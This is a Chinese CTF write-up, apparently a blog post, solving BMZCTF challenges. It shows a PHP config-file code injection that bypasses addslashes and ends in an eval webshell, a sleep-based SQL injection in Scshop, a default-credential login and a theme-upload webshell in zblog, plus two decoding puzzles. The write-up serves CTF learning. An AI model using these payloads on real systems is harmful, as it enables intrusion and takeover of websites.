BMZCTF

Web

easy_php

审计源码:

<?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) {
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

这里发现可以修改config.php文件,并且还可以访问的到,所以我们就想到利用php代码拼接注入恶意代码,但是这里有函数addslashes()函数限制了注入,我们需要想办法绕过。

addslashes(string $str): string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。

可以在本地测试,观察config.php文件的修改,

这里出现的漏洞点是第27行的$content = str_replace($LANG[$key],$_POST['no1'],$content);

通过多次测试我发现了以下的绕过方法,这里我就不细说了。

post:
sudo=1&info[name]=b&no1=\
sudo=1&info[name]=a&no1=';phpinfo();#
sudo=1&info[name]=b&no1=\

config.php变化如下:

<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\';
?>
<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\';
$LANG['a'] = '\';phpinfo();#';
?>
<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\\\';
$LANG['a'] = '\\';phpinfo();#';
?>

这样就成功逃逸执行了phpinfo(),然后只需要将';phpinfo();#替换为';eval($_POST[a]);#即可getshell

zblog-scshop

是个CMS,尝试了下web.zip,发现存在源码泄露,是Scshop1.5,通过网上查找,可以发现在/Core/Program/Ant_Contrl.php可能存在sql注入

image-20220101174005989

在这个GetIp()函数中,没有进行严格的过滤发现ip可控并且没有过滤,查看哪里调用了这个函数

image-20220101174132315

我们随便找一个,去Ant_Fc.php里边看一下

image-20220101174214316

这里的$val进行了拼接,直觉告诉我这很有可能是利用点,接着看一下AntAdd()函数,类WD_Data_Process()是在Ant_Class.php中定义的,查看该文件

image-20220101174433737

我们发现将刚才的值直接加入了sql语句进行执行,我们可以构造如下payload进行验证

INSERT INTO  $table ($field) VALUES ('1','2',''or sleep(3) or '','3','4');

我们通过搜索Search_Data来查找哪里调用了这个函数,发现在/Template/Default/File/search.php

image-20220101174929007

需要使得$_POST['search']=1

image-20220101175443757

接下来就可以只需要编写脚本进行盲注,但是不知道为什么爆出来了database(),其他的什么都没出来...

赛后和师傅们交流了一下,说是拿sqlmap可以跑出来,更有师傅说根本不用爆破...emmm,直接在评论区直接找到了zblog的用户名,密码是默认密码,直接登录了zblog的后台。

img

账号密码为:WHTadmin/admin888

然后通过主题文件的上传进行getshell

image-20220101200828921

下载主题,然后在vscode中打开.zba文件,我这里找的是comment.php

<path>HTML5CSS3/template/comment.php</path><stream>base64编码内容</stream>

将编码改为一句话木马的base64编码,然后再将主题上传上去,然后访问/zblog/zb_users/theme/[主题名]/template/comment.php

image-20220101201208222

成功getshell后就可以获取flag

Misc

do_you_know_it

附件:

img

查阅https://detexify.kirelabs.org/symbols.html

得flag{Play_with_LaTeX}

签到题

56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d

==>十六进制转换

VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0

==>两次base64decode

MZWGCZ33IZWGCZ27JFZV6TTPORUGS3THPU======

==>一次base32decode

flag{Flag_Is_Nothing}
posted @ 2023-01-08 23:35  seizer-zyx  阅读(43)  评论(0编辑  收藏  举报